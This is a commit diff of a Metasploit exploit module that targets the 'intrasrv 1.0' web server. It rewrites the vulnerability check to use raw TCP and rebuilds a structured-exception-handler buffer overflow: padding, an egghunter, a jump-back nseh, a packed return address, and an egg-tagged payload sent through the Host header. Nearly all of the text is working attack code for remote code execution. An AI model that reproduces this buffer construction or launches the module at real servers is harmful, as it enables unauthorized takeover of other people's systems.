10
10
class Metasploit3 < Msf ::Exploit ::Remote
11
11
Rank = NormalRanking
12
12
13
- include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Exploit ::Remote ::Tcp
14
14
include Msf ::Exploit ::Egghunter
15
15
16
16
def initialize ( info = { } )
@@ -37,6 +37,7 @@ def initialize(info={})
37
37
] ,
38
38
'Payload' =>
39
39
{
40
+ 'Space' => '4660' ,
40
41
'StackAdjustment' => -3500 ,
41
42
'BadChars' => "\x00 "
42
43
} ,
@@ -60,12 +61,16 @@ def initialize(info={})
60
61
end
61
62
62
63
def check
63
- res = send_request_cgi ( {
64
- 'method' => 'GET' ,
65
- 'uri' => "/"
66
- } )
64
+ begin
65
+ connect
66
+ rescue
67
+ print_error ( "Could not connect to target!" )
68
+ return Exploit ::CheckCode ::Safe
69
+ end
70
+ sock . put ( "GET / HTTP/1.0\r \n " )
71
+ res = sock . get
67
72
68
- if res and res . headers [ 'Server' ] =~ /intrasrv 1.0/
73
+ if res =~ /intrasrv 1.0/
69
74
return Exploit ::CheckCode ::Vulnerable
70
75
else
71
76
return Exploit ::CheckCode ::Safe
@@ -75,27 +80,30 @@ def check
75
80
def exploit
76
81
# setup egghunter
77
82
hunter , egg = generate_egghunter ( payload . encoded , payload_badchars , {
78
- :checksum => true
83
+ :checksum => true , :eggtag => "w00t"
79
84
} )
80
85
81
86
# setup buffer
82
- buf = rand_text ( target [ 'Offset' ] -128 ) # junk to egghunter
83
- buf << make_nops ( 8 ) + hunter # nopsled + egghunter at offset-128
87
+ buf = rand_text ( target [ 'Offset' ] -126 ) # junk to egghunter at jmp -128
88
+ buf << hunter # egghunter
84
89
buf << rand_text ( target [ 'Offset' ] -buf . length ) # more junk to offset
85
90
buf << "\xeb \x80 \x90 \x90 " # nseh - jmp -128 to egghunter
86
91
buf << [ target . ret ] . pack ( "V*" ) # seh
87
92
88
93
# Setup payload
89
- shellcode = rand_text ( 50 ) # pad payload
90
- shellcode = egg + egg # attach egg tags
91
- shellcode << payload . encoded
94
+ shellcode = egg
95
+ # second last byte of payload gets corrupted - pad 2 bytes
96
+ # so we don't corrupt the actual payload
97
+ shellcode << rand_text ( 2 )
98
+
99
+ msp = pattern_create ( 20000 )
92
100
93
101
print_status ( "Sending buffer..." )
94
- send_request_cgi ( {
95
- 'method' => 'GET' ,
96
- 'uri' => "/" ,
97
- 'vhost' => buf ,
98
- 'data' => shellcode
99
- } )
102
+ # Payload location is an issue, so we're using the tcp mixin
103
+ # instead of HttpClient here to maximize control over what's sent.
104
+ # (i.e. no additional headers to mess with the stack)
105
+ connect
106
+ sock . put ( "GET / HTTP/1.0 \r \n Host: #{ buf } \r \n #{ shellcode } " )
107
+ disconnect
100
108
end
101
109
end
0 commit comments